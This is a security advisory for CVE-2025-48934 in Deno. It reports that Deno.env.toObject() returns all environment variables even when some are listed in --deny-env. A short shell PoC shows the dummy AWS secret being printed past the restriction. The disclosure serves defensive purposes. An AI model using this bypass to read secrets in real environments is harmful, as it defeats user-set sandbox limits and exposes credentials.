🛡️ CVE-2025-48934 — deno

Deno.env.toObject() ignores the variables listed in --deny-env and returns all environment variables

Summary

The [Deno.env.toObject](https://docs.deno.com/api/deno/~/Deno.Env.toObject) method ignores any variables listed in the --deny-env option of the deno run command. When looking at the [documentation](https://docs.deno.com/runtime/fundamentals/security/#environment-variables) of the --deny-env option this might lead to a false impression that variables listed in the option are impossible to read.

PoC

```

export AWS_SECRET_ACCESS_KEY=my-secret-aws-key

# Works as expected. The program stops with a "NotCapable" error message

echo 'console.log(Deno.env.get("AWS_SECRET_ACCESS_KEY"));' | deno run \

--allow-env \

--deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY -

# All enviroment variables are printed and the --deny-env list is completely disregarded

echo 'console.log(Deno.env.toObject());' | deno run \

--allow-env \

--deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY -

```

The first example using get exits with the following error:

```

error: Uncaught (in promise) NotCapable: Requires env access to "AWS_SECRET_ACCESS_KEY", run again with the --allow-env flag

console.log(Deno.env.get("AWS_SECRET_ACCESS_KEY"));

^

at Object.getEnv [as get] (ext:deno_os/30_os.js:124:10)

at file:///$deno$stdin.mts:1:22

```

The second example using toObject prints all environment variables:

```

[Object: null prototype] {

...

AWS_SECRET_ACCESS_KEY: "my-secret-aws-key",

...

}

```

Impact

Software relying on the combination of both flags to allow access to most environment variables except a few sensitive ones will be vulnerable to malicious code trying to steal secrets using the Deno.env.toObject() method.